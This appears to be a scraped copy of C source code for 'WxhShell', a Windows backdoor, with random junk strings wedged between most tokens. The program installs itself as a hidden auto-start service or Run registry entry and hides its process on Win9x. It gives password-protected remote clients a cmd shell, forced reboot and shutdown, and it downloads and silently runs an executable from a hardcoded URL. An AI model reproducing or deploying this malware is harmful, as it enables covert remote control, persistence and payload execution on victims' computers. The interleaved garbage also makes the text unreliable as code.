`C HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1(GHCxA8G if(NULL == hInst ) return 0; A~{f/%8D AzpV4(:an. g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $ 'QdFkOr g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]&i+!$N_ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7TX,T|>9 6a>H|"PNE if (!NtQueryInformationProcess) return 0; W*xX{$NL >^"BEG9i: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <3O T>E[ if(!hProcess) return 0; "!Rw)=7O IdRdW{o if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FFGqa& nyT[^n CloseHandle(hProcess); zy N (4 EZ(^~k=I hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;? uC=o>Z{ if(hProcess==NULL) return 0; Oz:ZQ M FX,$_:f6Y HMODULE hMod; _8h8Wtif char procName[255]; bn 4
&O unsigned long cbNeeded; 8]0:1
{@ qGPb if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %bX0 mN MdhT!? CloseHandle(hProcess); R/<=mZ $)e:8jS= if(strstr(procName,"services")) return 1; // 以服务启动
td(M#a- 0%)5.=6 return 0; // 注册表启动 VZA3IbK} } BSp$F WvT? Q)Dwq? // 主模块 +~|AT+|iI int StartWxhshell(LPSTR lpCmdLine) n*qN29sx { abY0)t SOCKET wsl; cvAtw Q' BOOL val=TRUE; }w!ps{* int port=0; U?U(;nSR\A struct sockaddr_in door; j/<??v4F4 uJ'9R`E ]1 if(wscfg.ws_autoins) Install(); 6|;0ax4:P `f ' C[a" port=atoi(lpCmdLine); fEu9Jk 5FuK \y if(port<=0) port=wscfg.ws_port; ?'~;Q) ~Y/z=^ WSADATA data; o G_~3Kt if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~B@}R :+kUkb-/ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; o*7y ax setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i1/}XV door.sin_family = AF_INET; 9 |K*G~J door.sin_addr.s_addr = inet_addr("127.0.0.1"); ':;LrTc'K door.sin_port = htons(port); -Q`Cq|s iAz UaF if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y=o=1( closesocket(wsl); dV$!JTsd return 1; x9`ZO<L$ } 2uo8j F.h |qL;Nu,d if(listen(wsl,2) == INVALID_SOCKET) { FH n,]Tfx closesocket(wsl); ^L~ [+| return 1;
o?R,0 - } {qAu/ixp Wxhshell(wsl); tvWH04T WSACleanup(); `QCD$= jCWu\Oe return 0; !=M/j} 6bL"LM`s } lgG8!Ja Kpu<rKP` // 以NT服务方式启动 j-P^Zv};u VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FYeEG { t+}uIp42< DWORD status = 0; aVK()1v] DWORD specificError = 0xfffffff; [>uwk``_ iy
3DX|] serviceStatus.dwServiceType = SERVICE_WIN32; Fi{mr*} serviceStatus.dwCurrentState = SERVICE_START_PENDING; ]]V^:"ne serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; anZIB serviceStatus.dwWin32ExitCode = 0; M]s[ "0O serviceStatus.dwServiceSpecificExitCode = 0; 0P:F97"1, serviceStatus.dwCheckPoint = 0; 'j /q76uXV serviceStatus.dwWaitHint = 0; <<BQYU)Ig 2<.Vv\
= hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2?*1~ 5~I if (hServiceStatusHandle==0) return; `t\z pFH?/D/q status = GetLastError(); I;iR(Hf)?q if (status!=NO_ERROR) lWl-@*' { w})NmaT;YF serviceStatus.dwCurrentState = SERVICE_STOPPED; `hF;$ serviceStatus.dwCheckPoint = 0; JE%i-UVH+; serviceStatus.dwWaitHint = 0; l_sg)Vr/b serviceStatus.dwWin32ExitCode = status; v =bv@c serviceStatus.dwServiceSpecificExitCode = specificError; ZmO'IT=Ye SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hrv),Ce return; wL|7mMM, } hd=j56P5P I!
ITM<Z$l serviceStatus.dwCurrentState = SERVICE_RUNNING; &.*T\3UO serviceStatus.dwCheckPoint = 0; <\xQ7|e serviceStatus.dwWaitHint = 0; @{de$ODu if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lvig>0:M } ]*h&hsS0 |x[$3R1@ // 处理NT服务事件,比如:启动、停止 r2)pAiTM* VOID WINAPI NTServiceHandler(DWORD fdwControl) D1~^\)* { 3 \9][S-B switch(fdwControl) 0kz7 >v { f8F1~q case SERVICE_CONTROL_STOP: D99N#36PU serviceStatus.dwWin32ExitCode = 0; S%P3ek>3 serviceStatus.dwCurrentState = SERVICE_STOPPED; `w(sXkeaI serviceStatus.dwCheckPoint = 0; H!^C 2 serviceStatus.dwWaitHint = 0; u>
In(7\ { ^"/Dih\_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9/QS0 } K+t];( return; 0wYiu case SERVICE_CONTROL_PAUSE: n%8#?GC` serviceStatus.dwCurrentState = SERVICE_PAUSED; {C, #rj break; ^8U6"O6|X case SERVICE_CONTROL_CONTINUE: ma`w\8a serviceStatus.dwCurrentState = SERVICE_RUNNING; A9.;>8!u break; 92NC]_jw case SERVICE_CONTROL_INTERROGATE: -q|*M:R break; | )S{(#k }; i&B?4J) SetServiceStatus(hServiceStatusHandle, &serviceStatus); T7X!#j"\ } EXH!glR[$ vzQyE0T/ // 标准应用程序主函数 @YbZ8Uc int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hm<M@M$aG { -<12~HKK:: gtl;P_ // 获取操作系统版本 5D>BV*" OsIsNt=GetOsVer(); @<%oIE~]F GetModuleFileName(NULL,ExeFile,MAX_PATH); 3Y=,r!F.h (#lm#?<) // 从命令行安装 >cSi/a,L if(strpbrk(lpCmdLine,"iI")) Install(); $R3.yX=[\ T=Ol`?5 // 下载执行文件 2@OBeR if(wscfg.ws_downexe) { `,Q <YT ~ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /G[+E&vj WinExec(wscfg.ws_filenam,SW_HIDE); )SC`6(GW } .w=:+msL{( T[mw}%3<v if(!OsIsNt) { 9O2a |
d // 如果时win9x,隐藏进程并且设置为注册表启动 7n$AkzO0 HideProc(); [_h.1oZp~ StartWxhshell(lpCmdLine); FK?mS>G6 } </2,2AV4q* else 1XC*| if(StartFromService()) Zt7hzW // 以服务方式启动 CiHn;-b; StartServiceCtrlDispatcher(DispatchTable); 23,%=U else 1@s^$fvW // 普通方式启动 >zN"
z) StartWxhshell(lpCmdLine); 6qY\7R2+ X~`.} return 0; z;``g"dSw } [Ja(ArO3|[ ,$ho2R),Fn U=_~{[/ =t~+63) =========================================== O>kXysM v> b"*mi I>(;bNgNE P<TpG0~( V%VrAi. `mh-pBVD1 " Q;d+]xj H,01o5J #include <stdio.h> 7Q<Kha #include <string.h> ]wJ}-#Kx #include <windows.h> ZJ)3GF}4 #include <winsock2.h> `S uS)RhA) #include <winsvc.h> e@6RC bj #include <urlmon.h> 8b8e^\l( z|taa;iM #pragma comment (lib, "Ws2_32.lib") w i![0IE ) #pragma comment (lib, "urlmon.lib") ~Tpe,juG_ n$}R/* #define MAX_USER 100 // 最大客户端连接数 u)N2 #define BUF_SOCK 200 // sock buffer ;Hz`0V #define KEY_BUFF 255 // 输入 buffer |SwZi'p A8CIP:Z #define REBOOT 0 // 重启 V!j K3vc #define SHUTDOWN 1 // 关机 _3-RoA'UZr ym-lT|>Z #define DEF_PORT 5000 // 监听端口
3J'Bm" ,k`YDy|#e #define REG_LEN 16 // 注册表键长度 BLsdx} #define SVC_LEN 80 // NT服务名长度 (xjoRbU* Fv5x6a // 从dll定义API QYODmeu typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *B)Jv9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U4
go8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^!-E`<jW8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7TMDZ* "\wDS2M) // wxhshell配置信息 'b?#4rq} struct WSCFG { %Q>~7P int ws_port; // 监听端口 Q>06dO~z8 char ws_passstr[REG_LEN]; // 口令 1( QWt int ws_autoins; // 安装标记, 1=yes 0=no E.En$'BvB char ws_regname[REG_LEN]; // 注册表键名
Q 37V! char ws_svcname[REG_LEN]; // 服务名 K{eqB!@j char ws_svcdisp[SVC_LEN]; // 服务显示名 zyQ,unu char ws_svcdesc[SVC_LEN]; // 服务描述信息 zz+M1n-;o char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4w?]dDyc% int ws_downexe; // 下载执行标记, 1=yes 0=no ~jgN_jz char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UpE1PLZlB char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $;KQY7 ;%3thm7+ }; ly[\mGr wh7i
G8jCz // default Wxhshell configuration YFC0KU struct WSCFG wscfg={DEF_PORT, ]k3GFPw "xuhuanlingzhe", >F
LdI 1, 5 O{Ip- "Wxhshell", { c6DT "Wxhshell", CrQA :_Z(7 "WxhShell Service", f<$K.i "Wrsky Windows CmdShell Service", Dn{19V.L "Please Input Your Password: ", TA-(_jm 1, :_I
wc= "http://www.wrsky.com/wxhshell.exe", a{%52B" "Wxhshell.exe" &)fhlp5 }; Sl+jduc P_^|KEz // 消息定义模块 /S2p ``E+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~Q{[fy= char *msg_ws_prompt="\n\r? for help\n\r#>"; !)l%EJngL char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z_[3IAZ char *msg_ws_ext="\n\rExit."; nEZ-h7lzl( char *msg_ws_end="\n\rQuit."; q:D0$YY0 char *msg_ws_boot="\n\rReboot..."; o q'J*6r char *msg_ws_poff="\n\rShutdown..."; )U/@J+{{ char *msg_ws_down="\n\rSave to "; fjz2m lN=m$ J char *msg_ws_err="\n\rErr!"; ~8n~4 char *msg_ws_ok="\n\rOK!"; eaZ)1od ]
_]6&PZXk char ExeFile[MAX_PATH]; \V!X& a int nUser = 0; MU^xu&MB HANDLE handles[MAX_USER]; S9F]!m^i int OsIsNt; [/#k$- {TcbCjyw SERVICE_STATUS serviceStatus; $.x?in|_ SERVICE_STATUS_HANDLE hServiceStatusHandle; PL$(/Z ,&pF:qlF // 函数声明 Pvb+
int Install(void); 2)j#O int Uninstall(void); 1_dMe%53 int DownloadFile(char *sURL, SOCKET wsh); BW(DaNt^ int Boot(int flag); tp,mw24 void HideProc(void); "*H'bzK int GetOsVer(void); a_}BTkfHa int Wxhshell(SOCKET wsl); ck4T#g;= void TalkWithClient(void *cs); 9DP75 ti int CmdShell(SOCKET sock); ;29X vhS8 int StartFromService(void); D+vl%(g int StartWxhshell(LPSTR lpCmdLine); $M8>SLd -+S~1`0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j8ohzX[Y VOID WINAPI NTServiceHandler( DWORD fdwControl ); .AmM%I4K "< hx // 数据结构和表定义 s+\qie SERVICE_TABLE_ENTRY DispatchTable[] = XQg%*Rw+t { cO"Xg<#y {wscfg.ws_svcname, NTServiceMain}, ?T%K + {NULL, NULL} +ke42Jwt }; =ty@xHr d8y=. // 自我安装 3<.j`JB@& int Install(void) i+
&lMgh { FO3eg"{N char svExeFile[MAX_PATH]; BBuYO$p HKEY key; ~sU!
1 strcpy(svExeFile,ExeFile); tRrY)eElS w
_6Y+ // 如果是win9x系统,修改注册表设为自启动 1{fwr1b if(!OsIsNt) { piM11W}|/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p6k'Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dxhjPS~^Q RegCloseKey(key); 77bZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w]P7!t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]F)-}
RegCloseKey(key); NcY0pAR* return 0; Q17o5##x7 } 576-X_a, } Gv2./<{# } PTc\I else { =g>7|?6>= D 5wR?O // 如果是NT以上系统,安装为系统服务 JV6U0$g_S SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HBf8!\0|/ if (schSCManager!=0) ]bU'G$Qm&s { x)qHeS SC_HANDLE schService = CreateService i:N^:% ( %dWFg<< | schSCManager, ~9>[ U%D wscfg.ws_svcname, ;g)Fhdy! wscfg.ws_svcdisp, ~[/c'3+4qn SERVICE_ALL_ACCESS, =K<I)2
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W/F4wEODY SERVICE_AUTO_START, +Gwe%p Q SERVICE_ERROR_NORMAL, uJ5%JB("E svExeFile, 2BU)qv- NULL, Appz1q NULL, ~esEql=Q3' NULL, +AC-f2 NULL,
'jl XLb NULL (,9cCnvmYU ); k)GuMw if (schService!=0) \fFy$ { 1?#p !;& CloseServiceHandle(schService); z?> y CloseServiceHandle(schSCManager); 5Yibv6:3a strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KJ{F,fr+v strcat(svExeFile,wscfg.ws_svcname); 4JQ`&:?r if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ydFhw}1> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3 BhA.o RegCloseKey(key); L-:L=
snO return 0; tJF~Xv2L! } TOF62, } 3V!&y/c< CloseServiceHandle(schSCManager); D$!p+Q } +T-zf@j } &Or=_5Y`
G#n)|p return 1; U.sPFt } T9v#Jb6 fy-Z{ // 自我卸载 j I@$h_n int Uninstall(void) ?RAR { +
d)~;I$ HKEY key; 8q[WfD zZ0V6T} if(!OsIsNt) { Cspm\F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 92ww[+RQ@ RegDeleteValue(key,wscfg.ws_regname); 1?$!y RegCloseKey(key); 2_~XjwKE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pisr&"A RegDeleteValue(key,wscfg.ws_regname); |}y}o:( RegCloseKey(key); dX}dO)%m{ return 0; YhK/pt43C } IMw)X0z } %1+~(1P } q@Yt`$VTN else { tZ24}~da KK3xz*W0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T@.m^|~ if (schSCManager!=0) t>u9NZt G { ~vZzKRVS SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ij5=f0^4. if (schService!=0) v7u}nx { hg/&[/eodm if(DeleteService(schService)!=0) { mqc Z3lsv CloseServiceHandle(schService); 3Ty{8oUs^ CloseServiceHandle(schSCManager); -#M~NbI, return 0; NGZ>: } "/h"Xg>q CloseServiceHandle(schService); NJ!#0[@C } !fjU?_[S CloseServiceHandle(schSCManager); MQMy Z: } >gLyz2 } i4Cb&h^ QjbPBk Q return 1; vX24W*7 } <a}|G1 h zd]L9 _ // 从指定url下载文件 ^G<M+RF2J int DownloadFile(char *sURL, SOCKET wsh) !0+Ex
F { 'ZgW~G]S HRESULT hr; 6U3@-+lF char seps[]= "/"; 8=AKOOU7> char *token; HCy} '}d char *file; )cBV;
E< char myURL[MAX_PATH]; qf$|z`c char myFILE[MAX_PATH]; 1h0ohW 'MlC
1HEp strcpy(myURL,sURL); =+\oL!^ token=strtok(myURL,seps); KTJ$#1q while(token!=NULL) +6-!o,( { =qQQ^`^F'~ file=token; `g1~ya(MC token=strtok(NULL,seps); >~InO^R`5 } f TtMmz I+Cmj]M s0 GetCurrentDirectory(MAX_PATH,myFILE); k~F/Ho+R& strcat(myFILE, "\\"); Vs(Zs[ strcat(myFILE, file); .HJHJ.Js8X send(wsh,myFILE,strlen(myFILE),0); B\w`)c send(wsh,"...",3,0); DQQjx>CK hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IKpx~ if(hr==S_OK) @= 9y5r return 0; f#MN-1[67 else EmoU7iy return 1; /aEQ3x bx6}zkf& } tC~itU=V 0R%58,R // 系统电源模块 x" T^>Q int Boot(int flag) F+r6/e6a { 2p[3Ap HANDLE hToken; {<8#T`I TOKEN_PRIVILEGES tkp; "&|2IA ] 6B!eB
! if(OsIsNt) { l0_O< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]gk1h=Y~h LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =Bx~'RYl1d tkp.PrivilegeCount = 1; 9?6$ 2I tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; . r"?w AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9>P(eN if(flag==REBOOT) { Z%Kj^
M if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8r,%! 70 return 0; |th )Q } y>PbYjuIU else { @>ZjeDG> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e:R[ return 0; >f/g:[ } t$|6}BX } C[,-1e? else { ?J-KB3Uv3 if(flag==REBOOT) { i i
Y[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k]sT'}[n return 0; $sJfxh
r } ?K#$81;[ else { 'M/&bu r if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >fQN"(tf return 0; tBQ>
p. } G8'3.;"W5 } gQwmYe UkKpSL}Q2 return 1; qo|iw+0Y } WLb7]rCTp u>#'Y+7 // win9x进程隐藏模块 N"y4#W(Z@ void HideProc(void) MG>;|*$% { ,//=yW X=~QE}x HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wl9icrR> if ( hKernel != NULL ) "Xc=<rX { &9tsk#bA.g pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @RW%EXKt ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _aYQ(FO FreeLibrary(hKernel); 2ra4t]f6 } hI0l2OE #u^d3
$Nj return; J$[Vm%56 } "?-s
Qn eH6cBX#P. // 获取操作系统版本 cB^lSmu5 int GetOsVer(void) WkE;tC* { l:HuG! OSVERSIONINFO winfo; ^<-SW]x winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Vo()J4L GetVersionEx(&winfo); 6WZp&pO if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <D}k@M
Z return 1; K~R{q+ else C/G[B?:h return 0; j/&7L@Y }
KW\`&ki 00+5a
TrE // 客户端句柄模块 k$c!J'qL& int Wxhshell(SOCKET wsl) we3t,?`rk7 { 3@*8\ SOCKET wsh; pm+[,u!i struct sockaddr_in client; 3(kZfH~ DWORD myID; SrIynO F44")fY while(nUser<MAX_USER) ;7}*Xr| { NT 'Y h int nSize=sizeof(client); 3V]a "C
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %VCHM GP= if(wsh==INVALID_SOCKET) return 1; wvD|c%
GU`2I/R handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Zh*I0m if(handles[nUser]==0) w'C(? ?mH closesocket(wsh); FU zY&@Y else gC_U7a w nUser++; LJ?7W,? } I6+5 mv\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Sj\8$QIXC '4EJ_Vhztc return 0; Rd/!CJ@g } lCXo+|$?s 3c)xNXq m // 关闭 socket 2\n6XAQ* void CloseIt(SOCKET wsh) qW*)]s)z { G8VWx&RE closesocket(wsh); r.[k D"l nUser--; \oyr[so(i ExitThread(0); Zr3KzY9 } <>cajQ@ G6FknYj // 客户端请求句柄 DwPl,@T_i\ void TalkWithClient(void *cs) qmhHHFjQ { I~,*Rgv/Z =x>KA*O1 SOCKET wsh=(SOCKET)cs; MFrVGEQBRL char pwd[SVC_LEN]; 3~ylBJJ char cmd[KEY_BUFF]; occ}|u char chr[1]; Pg7/g=Va int i,j; _F3 :j9^ G9;WO* while (nUser < MAX_USER) { raCxHY B^Vb=* QRo if(wscfg.ws_passstr) { y7JJ[:~~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5K0Isuu>> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 74_ji! //ZeroMemory(pwd,KEY_BUFF); e([}dz i=0; 1jR<H$aS while(i<SVC_LEN) { 6v-h!1p{u YvonZ // 设置超时 YC{od5a fd_set FdRead; ] '..G- struct timeval TimeOut; umY4tNe]$ FD_ZERO(&FdRead); sNWj+T FD_SET(wsh,&FdRead); /}Max@.` TimeOut.tv_sec=8; k#
/_Zd TimeOut.tv_usec=0; $4m{g"xL int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z?7pn}- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Lq:Z='Kc BO^e.iB/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c8h
9 pwd=chr[0]; /) N[tv2 if(chr[0]==0xd || chr[0]==0xa) { ;tO (,^ pwd=0; IsI\T8yfc break; xGjEEBL } ne%ckW?ks i++; Gmc0yRN } /J^yOR9 :%R3(
& // 如果是非法用户,关闭 socket I/ c*
? if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yA~W|q(/V } (sY?"(~j?T &@yW<< send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g94NU
X send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y`%:hvy~ YkTEAI|i while(1) { _ 95V"h /IODRso/! ZeroMemory(cmd,KEY_BUFF); Xcb\N {C
[7V{4(% // 自动支持客户端 telnet标准 [!"u&iu` j=0; fU,sn5zZ while(j<KEY_BUFF) { l78zS' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vNP,c]:% cmd[j]=chr[0]; Zx@{nVoYe~ if(chr[0]==0xa || chr[0]==0xd) { EI'( cmd[j]=0; N/(&&\3 break; 2|+**BxHD } e(cctC|l j++; n(&6E3ZcI } ;sDFTKf Gt' %:9r // 下载文件 I_4'9 if(strstr(cmd,"http://")) { P'[w9'B send(wsh,msg_ws_down,strlen(msg_ws_down),0); u>}k+8~ if(DownloadFile(cmd,wsh)) Eg>MG87 send(wsh,msg_ws_err,strlen(msg_ws_err),0); _jp8;M~Z else F9N)UW:w send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bPWIf*3# } 0]&~ddL else { -3A#a_fu xI$B",?( switch(cmd[0]) { 'F1NBL g9g^zd, // 帮助 ,u/GA<'#M case '?': { CtS*"c,j send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nI&Tr_"tm break; F4@``20| } WI' ;e4 // 安装 :Fm)<VN" case 'i': { L9(fa+$+# if(Install()) Ga"t4[=I send(wsh,msg_ws_err,strlen(msg_ws_err),0); p3&w/K{L6w else \)pk/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1s .Ose break; :beBiO } mJl|dk_c // 卸载 1-4W4"# case 'r': { 5P [b/.n if(Uninstall()) O.Z<dy+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); l:%4@t` else 4$C:r&K send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); __OD^?qa break; wjDLsf, } f3h^R20qmO // 显示 wxhshell 所在路径 5#~u U case 'p': { D3N\$ D char svExeFile[MAX_PATH]; 6Dwj^e0 strcpy(svExeFile,"\n\r"); _Uc le strcat(svExeFile,ExeFile); q<dZy? f send(wsh,svExeFile,strlen(svExeFile),0); x
xWnB break; a2/!~X9F } UoCFj2?C // 重启 s${ew.eW case 'b': { s0WI93+z send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %Sf%XNtu if(Boot(REBOOT)) 6x7pqHM send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1)U%p else { n]jZ2{g+ closesocket(wsh); ?*){%eE ExitThread(0); dX?8@uzu } Q)#+S(TG break; lku}I4 } &N.D!7X // 关机 u6j\@U6 I case 'd': { q3<Pb,Z send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :=3Ty]e if(Boot(SHUTDOWN)) LNOm"D?" send(wsh,msg_ws_err,strlen(msg_ws_err),0); %#7Yr(& else { SjgjGJw closesocket(wsh);
Lj`MFZ ExitThread(0); gP:mZ7 } $# klgiL break; e@|/, W } Wz',>&a // 获取shell DEM;)-D case 's': { 4Hc+F( CmdShell(wsh); Ev+m+ closesocket(wsh); ~H`~&? ExitThread(0); KeFEUHU break; .Lbu[ } c0h:Vqk- // 退出 ?B7n,!&~ case 'x': { 9x$Kb7'F send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uY{V^c#mv CloseIt(wsh); j+YA/54` break; ,e<(8@BBL } @
W[LA< // 离开 *uoc;6 case 'q': { OiAP%7i9 send(wsh,msg_ws_end,strlen(msg_ws_end),0); *c9/ I closesocket(wsh); '@t}8J WSACleanup(); K)"lq5nM exit(1); 0<(F
8 break; ='"DUQH|* } b}s)3=X@q } g?-HAk6 } csABfxib ay4E\=k // 提示信息 %\<SSp^n if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6_1v~# } |:Q`9; } +a7J;-| tgz return; <Wqk5mR } bLSXQStB Cp {
j+Ia // shell模块句柄 Ky(=O1Ufu int CmdShell(SOCKET sock) fg}&=r { C
0@tMB7 STARTUPINFO si; St 4YNS.| ZeroMemory(&si,sizeof(si)); ,z8<[Q-# si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vK@t=d si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E3%:7MB PROCESS_INFORMATION ProcessInfo; SY &)?~C char cmdline[]="cmd"; ,-({m' CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :70n% 3a return 0; 0H;,~
WY } fiG/"/u |1M+FBT$w // 自身启动模式 vMT:j int StartFromService(void) "'i" @CR { H! IL5@@K typedef struct (4ueO~jb$ { {[Sd[P DWORD ExitStatus; PH$fDbC8 DWORD PebBaseAddress; \r4QS DWORD AffinityMask; {tqLH2cO DWORD BasePriority; *}\}@0% ULONG UniqueProcessId; #*r u* ULONG InheritedFromUniqueProcessId; [,_4#Zz } PROCESS_BASIC_INFORMATION; b3$aPwv [
QHSCF5 PROCNTQSIP NtQueryInformationProcess; kta`[%KmIZ t>]wWYy static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~_|OGp_a static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .@7J8FS* ZMFV iE;8 HANDLE hProcess;
D
H}gvV PROCESS_BASIC_INFORMATION pbi; D`|.% f/!^QL{ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &}N=a if(NULL == hInst ) return 0; @t W;(8- UM?{ba9 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CY{`IZ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (+_i^SqK NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ah1DuTT/G 8+gti*C?\ if (!NtQueryInformationProcess) return 0; %x Xib9J io8c[#"uU hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f[}N if(!hProcess) return 0; n4* hQi+d Av3qoH)[< if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $%*E)~ e~Hx+Qp.G CloseHandle(hProcess); '1o1=iJN@$ ,sU#{.( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ">?ocJ\9 if(hProcess==NULL) return 0; ?z
